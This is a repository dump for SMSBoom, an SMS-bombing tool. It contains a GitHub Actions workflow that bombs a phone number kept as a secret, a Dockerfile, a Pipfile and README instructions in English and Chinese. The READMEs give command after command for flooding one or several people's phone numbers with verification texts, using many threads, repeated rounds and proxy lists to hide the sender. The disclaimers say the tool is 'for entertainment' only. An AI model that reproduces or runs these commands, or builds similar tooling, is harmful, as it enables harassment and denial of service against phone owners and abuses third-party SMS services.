├── .github └── workflows │ └── run.yaml ├── .gitignore ├── Dockerfile ├── GETAPI.json ├── LICENSE ├── Pipfile ├── Pipfile.lock ├── README-en.md ├── README.md ├── api.json ├── api_check.py ├── api_problem.json ├── celery-client.py ├── celery_server ├── README.MD ├── __init__.py ├── celery.py ├── config.py ├── tasks.py └── utils.py ├── command ├── debug ├── __init__.py ├── api.db ├── api.js ├── api_tou.json ├── hz-web.json ├── spider-api.py ├── tou_api.py └── touapi.json ├── flask_app ├── __init__.py ├── data.db ├── model.py ├── static │ └── test.js ├── templates │ ├── admin_back.html │ └── api_edit.html ├── utils.py └── views │ ├── __init__.py │ ├── error.py │ └── views.py ├── handle_api.py ├── http_proxy.txt ├── img ├── GIF111.gif ├── cmd1.png ├── cmd2.png ├── e.g.1.png ├── smsboom-logo.png ├── test.gif ├── test2.gif ├── webui-test-2.png └── webui-test.png ├── logo.ico ├── requirements-celery.txt ├── requirements-dev.txt ├── requirements.txt ├── run_flask_app.py ├── smsboom.py ├── smsboom_EN.py ├── smsboom_GUI.py ├── socks4_proxy.txt ├── socks5_proxy.txt └── utils ├── __init__.py ├── log.py ├── models.py ├── req.py └── sql.py /.github/workflows/run.yaml: -------------------------------------------------------------------------------- 1 | name: 🚀 Run SMSBoom in Action 2 | 3 | # 触发 Action 的条件 4 | on: 5 | # 定时触发 参考 https://docs.github.com/cn/actions/using-workflows/events-that-trigger-workflows#schedule 6 | # schedule: 7 | # - cron: '30 5 * * 1,3' 8 | # - cron: '30 5 * * 2,4' 9 | # 手动触发 10 | workflow_dispatch: 11 | 12 | jobs: 13 | build: 14 | runs-on: ubuntu-latest 15 | 16 | steps: 17 | # 签出项目代码 18 | - uses: actions/checkout@v3 19 | # 设置 py3.8 环境 20 | - name: 🚀 Set up Python 3.x 21 | uses: actions/setup-python@v3 22 | with: 23 | python-version: '3.8' 24 | 25 | - name: 🚀 Run SMSBoom Script 26 | # 此处可以自定义命令行运行参数.替换手机号 27 | run: | 28 | pip3 install -r requirements.txt 29 | python3 smsboom.py run -p ${{ secrets.NUMBER }} -t 32 30 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # owner 2 | git-filter-repo.py 3 | replacements.txt 4 | # Byte-compiled / optimized / DLL files 5 | __pycache__/ 6 | *.py[cod] 7 | *$py.class 8 | 9 | # C extensions 10 | *.so 11 | 12 | # Distribution / packaging 13 | .Python 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | wheels/ 26 | share/python-wheels/ 27 | *.egg-info/ 28 | .installed.cfg 29 | *.egg 30 | MANIFEST 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .nox/ 46 | .coverage 47 | .coverage.* 48 | .cache 49 | nosetests.xml 50 | coverage.xml 51 | *.cover 52 | *.py,cover 53 | .hypothesis/ 54 | .pytest_cache/ 55 | cover/ 56 | 57 | # Translations 58 | *.mo 59 | *.pot 60 | 61 | # Django stuff: 62 | *.log 63 | local_settings.py 64 | db.sqlite3 65 | db.sqlite3-journal 66 | 67 | # Flask stuff: 68 | instance/ 69 | .webassets-cache 70 | 71 | # Scrapy stuff: 72 | .scrapy 73 | 74 | # Sphinx documentation 75 | docs/_build/ 76 | 77 | # PyBuilder 78 | .pybuilder/ 79 | target/ 80 | 81 | # Jupyter Notebook 82 | .ipynb_checkpoints 83 | 84 | # IPython 85 | profile_default/ 86 | ipython_config.py 87 | 88 | # pyenv 89 | # For a library or package, you might want to ignore these files since the code is 90 | # intended to run in multiple environments; otherwise, check them in: 91 | # .python-version 92 | 93 | # pipenv 94 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 95 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 96 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 97 | # install all needed dependencies. 98 | #Pipfile.lock 99 | 100 | # poetry 101 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 102 | # This is especially recommended for binary packages to ensure reproducibility, and is more 103 | # commonly ignored for libraries. 104 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 105 | #poetry.lock 106 | 107 | # pdm 108 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 109 | #pdm.lock 110 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 111 | # in version control. 112 | # https://pdm.fming.dev/#use-with-ide 113 | .pdm.toml 114 | 115 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 116 | __pypackages__/ 117 | 118 | # Celery stuff 119 | celerybeat-schedule 120 | celerybeat.pid 121 | 122 | # SageMath parsed files 123 | *.sage.py 124 | 125 | # Environments 126 | .env 127 | .venv 128 | env/ 129 | venv/ 130 | ENV/ 131 | env.bak/ 132 | venv.bak/ 133 | 134 | # Spyder project settings 135 | .spyderproject 136 | .spyproject 137 | 138 | # Rope project settings 139 | .ropeproject 140 | 141 | # mkdocs documentation 142 | /site 143 | 144 | # mypy 145 | .mypy_cache/ 146 | .dmypy.json 147 | dmypy.json 148 | 149 | # Pyre type checker 150 | .pyre/ 151 | 152 | # pytype static type analyzer 153 | .pytype/ 154 | 155 | # Cython debug symbols 156 | cython_debug/ 157 | 158 | # PyCharm 159 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 160 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 161 | # and can be added to the global gitignore or merged into this file. For a more nuclear 162 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 163 | .idea/ 164 | 165 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-alpine 2 | 3 | WORKDIR /src 4 | 5 | COPY . ./ 6 | 7 | RUN pip install pipenv && pipenv install --deploy --ignore-pipfile 8 | 9 | ENTRYPOINT ["pipenv", "run", "python", "smsboom.py"] 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2022 WhaleFall 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.doubanio.com/simple/" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | httpx = "*" 8 | loguru = "*" 9 | click = "*" 10 | pydantic = "*" 11 | 12 | [dev-packages] 13 | flask = "*" 14 | flask-admin = "*" 15 | flask-babelex = "*" 16 | flask-sqlalchemy = "*" 17 | celery = "*" 18 | 19 | [requires] 20 | python_version = "3.9" 21 | -------------------------------------------------------------------------------- /README-en.md: -------------------------------------------------------------------------------- 1 | ![logo](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/smsboom-logo.png) 2 | 3 | ![test](img/test2.gif) 4 | 5 | ## Disclaimer 6 | 7 | 1. This program is developed by a **high school art student** ( **15-year-old minor** ), if the user abuses this project, I **do not need to bear** any legal responsibility. 8 | 2. This program is for entertainment only, the source code is all open source, **abuse is prohibited** and secondary **selling profit**. **It is prohibited to use for commercial purposes**. 9 | 3. I have a history of **depression**, if I suffer any form of cyber violence (including but not limited to sending obscene/obscene/bloody pictures, greeting my family), and **extreme behavior**, everything will be It's **my fault** and it has nothing to do with everyone. 10 | 11 | ##Features 12 | 13 | 1. Define the interface by customizing `api.json`. 14 | 2. Support keyword replacement. **Timestamp** `[timestamp]` **Phone number** `[phone]` 15 | 3. Multi-threaded/asynchronous request. 16 | 4. Provide web page testing/adding interface through Flask. 17 | 5. Friendly command line parameter support. 18 | 6. Use convenient pipenv package management. 19 | 7. Call SMS interface through proxy, support http, socks4, socks5 proxy. 20 | 8. Use random User-Agent. 21 | 9. The number of bombings and the interval between bombings can be specified. 22 | 23 | ## Quick Start 24 | 25 | ### For Xiaobai 26 | 27 | ✨This project has been packaged into an `EXE` executable file using `pyinstaller`! Eliminate the trouble of deploying the Python environment, suitable for Xiaobaibai. 28 | 29 | 🔨The author's packaging environment is: `Windows 10 x64 Python3.8` If the Windows system is not a **Windows 10 64-bit** version, **may fail to run**! If there is an abnormal error, please take a screenshot and send an Issue. 30 | 31 | 1. Download the EXE executable 32 | Please go to the project's [release page](https://github.com/AdminWhaleFall/SMSBoom/releases) to download 33 | 34 | > If you cannot download in the domestic network environment, please refer to [https://github.do/](https://github.do/) and other accelerated mirrors. 35 | 36 | 2. Run 37 | 38 | 1. Create a new folder in any drive (**except C drive**) and move the program to it. e.g. 39 | ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/e.g.1.png) 40 | 41 | 2. `Win`+`R` to open cmd. Enter the drive letter. For example: `E:` Then cd to the folder, for example `cd SMS` 42 | ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/cmd1.png) 43 | 44 | 3. After confirming that the cmd path is the path where the EXE is located, enter cmd: `smsboom_pyinstall.exe`, if a command prompt appears, the script is running normally. 45 | ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/cmd2.png) 46 | 47 | 4. The latest interface must be updated before use 48 | ```shell 49 | smsboom_pyinstall.exe update 50 | ```` 51 | > If there is an error `ssl_` in the update interface, please refer to [issue](https://github.com/AdminWhaleFall/SMSBoom/issues/2) **Close the agent software** and then update. 52 | 53 | 5. [Description of proxy settings](https://github.com/WhaleFell/SMSBoom#%E4%BD%BF%E7%94%A8%E4%BB%A3%E7%90%86), Xiaobai Can not watch for now 54 | 55 | 6. Pass parameters, command example: 56 | 57 | Start 64 threads, Boom//Bomb a person's mobile phone number (198xxxxxxxx), only Boom//Bomb once. 58 | 59 | ```shell 60 | smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx 61 | ```` 62 | 63 | Start 64 threads, bomb // bomb a person's mobile phone number (19xxxxxxx), start a loop bomb // bomb, take turns bomb // bomb 60 times 64 | 65 | ```shell 66 | smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 67 | ```` 68 | 69 | Start 64 threads, bomb // bomb a person's mobile phone number (19xxxxxxx), start a loop bomb // bomb, take turns bomb // bomb 60 times, each time interval 30 seconds 70 | 71 | ```shell 72 | smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 73 | ```` 74 | 75 | Start 64 threads, bomb//bomb a person's mobile phone number (19xxxxxxx), start a cycle of bombing//bombing, take turns bombing//bombing 60 times, every 30 seconds, open the proxy list for bombing 76 | 77 | ```shell 78 | smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 -e 79 | ```` 80 | 81 | Start 64 threads, bomb//bomb multiple people's mobile phone numbers (138xxx, 139xxxx), start a loop bomb//bomb, take turns bombing 60 times, every 30 seconds, open the proxy list for bombing 82 | 83 | ```shell 84 | smsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -f 60 -i 30 -e 85 | ```` 86 | 87 | 88 | ### For Big Guys 89 | 90 | #### Download project 91 | 92 | - Method 1: Using Git: 93 | 94 | ```shell 95 | git clone https://github.com/AdminWhaleFall/SMSBoom.git/ 96 | ```` 97 | 98 | > Wall country acceleration 99 | > 100 | > ```shell 101 | > git clone https://github.do/https://github.com/AdminWhaleFall/SMSBoom.git 102 | > ```` 103 | 104 | - Method 2: Click to download [project zip package](https://github.com/AdminWhaleFall/SMSBoom/archive/refs/heads/master.zip) and unzip it. 105 | 106 | #### Configuration Environment 107 | 108 | **Prerequisites:** Please ensure that your computer has a `python3.x` environment, it is recommended to use `3.8` and above! 109 | 110 | Solution 1: If you have a `Python3.8` environment, you can use the `pipenv` tool. 111 | 112 | 1. Install the pipenv package management tool. 113 | ```shell 114 | pip install pipenv 115 | ```` 116 | 117 | 2. Build a virtual environment for the project. 118 | ```shell 119 | pipenv install # only use bomb// bomb function 120 | pipenv install --dev # Use the webui debug interface function. 121 | ```` 122 | 123 | 3. Try running smsboom.py 124 | ```shell 125 | pipenv shell # activate the virtual environment 126 | python smsboom.py # linux 127 | ```` 128 | 129 | If no error is reported and help information is output, the environment has been installed correctly. If an error is reported, please use option 2 130 | 131 | Option 2: Only the `Python3.X` environment needs to use the native `pip` tool. 132 | 133 | 1. Install the required libraries 134 | ```shell 135 | pip install -r requirements.txt # only use bomb // bomb 136 | pip install -r requirements-dev.txt # use webui 137 | ```` 138 | 139 | 2. Try running smsboom.py 140 | ```shell 141 | python smsboom.py 142 | ```` 143 | 144 | If no error is reported and help information is output, the environment has been installed correctly. 145 | 146 | #### Running with Docker 147 | 148 | **Prerequisites:** Please make sure the current environment has [Docker](https://docs.docker.com/get-docker/). 149 | 150 | 1. Build the image 151 | 152 | ```shell 153 | docker build -t whalefell/smsboom . 154 | ```` 155 | 156 | 2. Try to run 157 | 158 | ```shell 159 | docker run --rm whalefell/smsboom:latest --help 160 | 161 | Usage: smsboom.py [OPTIONS] COMMAND [ARGS]... 162 | 163 | Options: 164 | --help Show this message and exit. 165 | 166 | Commands: 167 | asyncrun requests the interface in the fastest way (true asynchronous million concurrency) 168 | onerun single thread (for testing) 169 | run incoming thread number and mobile phone number to start bombing, support multiple mobile phone numbers 170 | update Get the latest interface from github 171 | ```` 172 | 173 | #### run 174 | 175 | If using a virtual environment, please activate it first. `pipenv shell` 176 | 177 | ```shell 178 | # output help information 179 | python smsboom.py --help 180 | 181 | Usage: smsboom.py [OPTIONS] COMMAND [ARGS]... 182 | Options: 183 | --help Show this message and exit. 184 | Commands: 185 | run incoming thread number and mobile phone number to start bombing//exploding, support multiple mobile phone numbers 186 | update Get the latest interface from github 187 | ```` 188 | - start bombing//exploding 189 | 190 | help information: 191 | ```shell 192 | python smsboom.py run --help 193 | 194 | Usage: smsboom.py run [OPTIONS] 195 | 196 | Incoming the number of threads and mobile phone number to start bombing//exploding, support for multiple mobile phone numbers 197 | 198 | Options: 199 | -t, --thread INTEGER number of threads (default 64) 200 | -p, --phone TEXT phone number, you can pass in multiple and then use -p to pass [required] 201 | -f, --frequency INTEGER execution times (default 1) 202 | -i, --interval INTEGER interval time (default 60s) 203 | -e, --enable_proxy BOOLEAN enable proxy (default disabled) 204 | --help Show this message and exit. 205 | ```` 206 | 207 | ### Using a proxy 208 | 209 | This project cannot automatically obtain a proxy through the API. You can manually obtain a proxy from the free proxy website below, or choose to use your own proxy, or not use a proxy. 210 | 211 | > [https://proxyscrape.com/free-proxy-list](https://proxyscrape.com/free-proxy-list) 212 | 213 | > [https://openproxy.space/list](https://openproxy.space/list) 214 | 215 | Add the proxy to the three files `http_proxy.txt` `socks4_proxy.txt` `socks5_proxy.txt`, add `-e` to the command parameter to execute. 216 | 217 | ### Command example 218 | Start 64 threads, bomb//bomb a person's mobile phone number (198xxxxxxxx), and only bomb//bomb one wave. 219 | 220 | ```shell 221 | python smsboom.py run -t 64 -p 198xxxxxxxx 222 | ``` 223 | Start 64 threads, bomb // bomb a person's mobile phone number (198xxxxxxxx), start a loop bomb // bomb, take turns bomb // bomb 60 times 224 | 225 | ```shell 226 | python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 227 | ```Start 64 threads, bomb // bomb a person's mobile phone number (198xxxxxxxx), start a loop bomb // bomb, take turns bomb // bomb 60 times, each time interval 30 seconds 228 | 229 | ```shell 230 | python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 231 | ```Start 64 threads, bomb//bomb a person's mobile phone number (198xxxxxxxx), start a loop of bomb//bomb, take turns to bomb//bomb 60 times, every 30 seconds, open the proxy list to bomb 232 | 233 | ```shell 234 | python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 -e 235 | ``` 236 | Start 64 threads, bomb//bomb multiple people's mobile phone numbers (198xxxxxxxx, 199xxxxxxxx), start a loop bomb//bomb, take turns bombing 60 times, every 30 seconds, open the proxy list for bombing 237 | 238 | ```shell 239 | python smsboom.py run -t 64 -p 198xxxxxxxx -p 199xxxxxxxx -f 60 -i 30 -e 240 | ``` 241 | 242 | ## Development 243 | 244 | The program provides interface debugging tools, but it is not perfect at present. Front-end big guys are welcome to PR. 245 | The debugging tool uses `Flask` as the backend and `vue` as the frontend to realize the separation of front and back ends. 246 | At present, there is only a test interface, adding the function of the interface. 247 | 248 | ### Flask front-end debugging 249 | 250 | > **The premise is that the pipenv environment has been installed according to the previous Quick Start method** 251 | 252 | ```shell 253 | pipenv shell # Activate the virtual environment 254 | python run_flask_app.py start -p 9090 # Listen on port 9090 255 | ``` 256 | 257 | **run help:** 258 | ```shell 259 | Usage: run_flask_app.py [OPTIONS] COMMAND [ARGS]... 260 | 261 | Options: 262 | --help Show this message and exit. 263 | 264 | Commands: 265 | init Initialize the database 266 | json2sqlite Convert json data to sqlite database 267 | sqlite2json Convert sqlite data to json 268 | start start flask app 269 | ``` 270 | 271 | ```shell 272 | Usage: run_flask_app.py start [OPTIONS] 273 | 274 | start up flask app 275 | 276 | Options: 277 | -h, --host TEXT listen address 278 | -p, --port INTEGER listening port 279 | --help Show this message and exit. 280 | ``` 281 | The default monitoring *0.0.0.0:9090* address, the browser access [http://127.0.0.1:9090/admin/] (http://127.0.0.1:9090/admin/) If there is no accident, the front end can appear Debug interface. 282 | 283 | ![](img/webui-test.png) 284 | ![](img/webui-test-2.png) 285 | 286 | ## Sponsor 287 | [Love Power Generation 🔗](https://afdian.net/@smsboom) 288 | 289 | 290 | 295 | 296 | > The sponsored amount will be used for my monthly treatment of **depression/depression**. Thank you all for your support and encouragement! **Biaxin** 297 | 298 |
299 | According to relevant Chinese laws and regulations, this picture is not allowed to be displayed. 300 | 301 |
302 | 303 | > ~~Ugly Selfie )Escape~~ 304 | 305 | ## Star ♥ Trend 306 | 307 | 308 | 309 | ## ✨Discussion 310 | 311 | Feel free to join the discussion and ask questions and suggestions about the project! ! ! mua! 312 | 313 | ### Penguin 🐧 Group 314 | > The penguin group is not allowed to discuss related sensitive information! Violators get on the plane ticket✈ 315 | 316 | ![Penguin Colony QR](https://cdn.jsdelivr.net/gh/AdminWhaleFall/Pic@master/img/20220409151539.jpg) 317 | 318 | ### Telegram Channel (TG group) 319 | > For topics related to sensitive/sensitive information, politics/politics, democracy/democracy movement, please go to **TG group chat** 320 | 321 | [SMSBoomPro](https://t.me/SMSBoomPro) 322 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![logo](img/smsboom-logo.png) 2 | 3 | ![test](img/test2.gif) 4 | 5 | ## 三件事 6 | 7 | 1. 原作者 *@whalefell* 為保障自身安全及規避風險,於 `2022/7/6` 將本倉庫移交給我.至此,本倉庫所有事務與原作者無關. 8 | 2. 介於本項目在簡中 **GitHub** 圈影響較大,請大家遵守自己所在國家地區的相關法律,**違反法律者與開發者無關**. 9 | 3. 請大家理智甄別,獨立思考. 10 | 11 | 12 | > 简体中文: 13 | > 1. 原作者 *@whalefell* 为保障自身安全及规避风险,于 `2022/7/6` 将本仓库移交给我.至此,本仓库所有事务与原作者无关. 14 | > 2. 介于本项目在简中 **GitHub** 圈影响较大,请大家遵守自己所在国家地区的相关法律,**违反法律者与开发者无关**. 15 | > 3. 请大家理智甄别,独立思考. 16 | 17 | ## 免责声明 18 | 19 | 1. 若使用者滥用本项目,本人 **无需承担** 任何法律责任. 20 | 2. 本程序仅供娱乐,源码全部开源,**禁止滥用** 和二次 **贩卖盈利**. **禁止用于商业用途**. 21 | 22 | ## Feature 23 | 24 | 1. 通过自定义 `api.json` 的方式定义接口. 25 | 2. 支持关键字替换. **时间戳** `[timestamp]` **手机号** `[phone]` 26 | 3. 多线程/异步 请求. 27 | 4. 通过 Flask 提供网页测试/添加接口. 28 | 5. 友好的命令行参数支持. 29 | 6. 采用方便的 pipenv 包管理. 30 | 7. 通过代理调用短信接口, 支持http, socks4, socks5代理. 31 | 8. 使用随机的User-Agent. 32 | 9. 可指定轰炸次数, 轰炸间隔时间. 33 | 34 | ## Quick Start 35 | 36 | ### 适用于小白 37 | 38 | ✨本项目已经使用 `pyinstaller` 打包成 `EXE` 可执行文件!免去部署 Python 环境的烦恼,适合用于小白白. 39 | 40 | 🔨作者的打包环境为: `Windows 10 x64 Python3.8` 如果 Windows 系统不是 **Windows 10 64位** 版本,**可能会运行失败**! 如果出现异常报错请截图发 Issue. 41 | 42 | 1. 下载 EXE 可执行文件 43 | 请移步到项目的 [release页](https://github.com/AdminWhaleFall/SMSBoom/releases) 下载 44 | 45 | > 若遇到国内网络环境下载不下来,请参见 [https://github.do/](https://github.do/) 等加速镜像. 46 | 47 | 2. 运行 48 | 49 | 1. 在任意盘(**除C盘外**)中新建一个文件夹.将程序移动到其中. e.g. 50 | ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/e.g.1.png) 51 | 52 | 2. `Win`+`R` 打开cmd.输入存放的盘符.例如: `E:` 然后cd到文件夹,例如 `cd SMS` 53 | ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/cmd1.png) 54 | 55 | 3. 确认 cmd 路径是 EXE 所在路径后,cmd 输入:`smsboom_pyinstall.exe`,若出现命令提示,则说明脚本已正常运行. 56 | ![](https://cdn.jsdelivr.net/gh/AdminWhaleFall/SMSBoom@master/img/cmd2.png) 57 | 58 | 4. 使用前必须更新一遍最新接口 59 | ```shell 60 | smsboom_pyinstall.exe update 61 | ``` 62 | > 若更新接口出现错误 `ssl_`,请参见 [issue](https://github.com/AdminWhaleFall/SMSBoom/issues/2) **关闭代理软件**再 update. 63 | 64 | 5. 